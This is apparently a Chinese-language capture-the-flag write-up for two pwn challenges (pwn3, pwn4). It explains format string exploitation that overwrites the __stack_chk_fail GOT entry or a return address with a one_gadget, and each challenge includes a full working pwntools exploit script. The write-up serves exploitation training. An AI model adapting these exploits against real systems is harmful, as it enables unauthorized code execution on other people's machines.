栈上格式化字符串漏洞修改stack_checkfail
checksec指令查看
用64位IDA打开分析
从IAD中我们可以看出它存在栈溢出,格式化字符串漏洞,还有canary保护,我们无法直接利用栈溢出。
我们知道canary保护开启之后,会产生随机数值,如果修改的话程序就会自动退出,这里程序自动退出就是靠stack_chk_fail函数
我们可以利用格式化字符串漏洞去修改stack_chk_fail函数的got表使得程序继续进行,在这里,我们将stack_chk_fail函数改成fmt函数,然后通过格式化字符串漏洞去泄露libc基址
先找到偏移为6
再通过pay=fmtstr_payload(偏移,{要改的内容:改成什么东西})
到这里stack_chk_fail函数的got表已经修改成功
接下来通过read函数将printf函数的got表读入程序里面
这一行pay=(b'%7$saaaa'+p64(elf.got['printf'])).ljust(0x100,b'\x00')后面的.ljust(0x100,b'\x00')是因为读入的字节较少,不足以覆盖canary的数值,所以在任意读入较大的数值就行
下面就是去泄露libc的基址然后通过one_gadget库去获取权限
因为
所以这里仍然选择r15,rdx为空的偏移
到这里本地调试就打通啦!
脚本如下:
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
p=process("./pwn3")
elf=ELF("./pwn3")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def bug():
gdb.attach(p)
pause()
pay=fmtstr_payload(6,{elf.got['__stack_chk_fail']:(0x4011DD)})
bug()
p.send(pay)
pause()
pay=(b'%7$saaaa'+p64(elf.got['printf'])).ljust(0x100,b'\x00')
p.send(pay)
read_addr=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
print(hex(read_addr))
libc_base=read_addr-libc.sym['printf']
print(hex(libc_base))
one_gadget=libc_base+0xe3b01
pause()
pay=fmtstr_payload(6,{elf.got['__stack_chk_fail']:(one_gadget)})
p.send(pay)
p.interactive()
栈上格式化字符串漏洞修改返回地址为one_gadget
checksec指令查看,64位,保护全开
IDA分析
在IDA中我们可以发现有stack_chk_fail函数,但是跟上面的题不同,因为保护全开,我们无法修改stack_chk_fail函数的got表
在这里我们可以看到程序发送'yes'之后会打印出printf函数的地址,这样就可以找出libc基址以及栈地址,我们可以想到利用格式化字符串漏洞修改返回地址为one_gadget
修改返回地址为one_gadge的条件是得有libc基址以及栈地址
这里就会打印出libc基址以及栈地址
接收之后,我们可以通过计算找出函数的偏移,然后找出函数的返回地址
最后就是将返回地址修改为one_gadget
脚本如下:
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
p=process("./pwn4")
elf=ELF("./pwn4")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def bug():
gdb.attach(p)
pause()
p.recvuntil('lbs 6 or not 6\n')
p.send(str('yes'))
p.recvuntil('0x')
libc_base=int(p.recv(12),16)-libc.sym['printf']
print(hex(libc_base))
one_gadget=libc_base+0xe3b01
p.recvuntil('0x')
stack=int(p.recv(12),16)+296
print(hex(stack))
bug()
pay=fmtstr_payload(6,{stack:one_gadget})
p.send(pay)
p.interactive()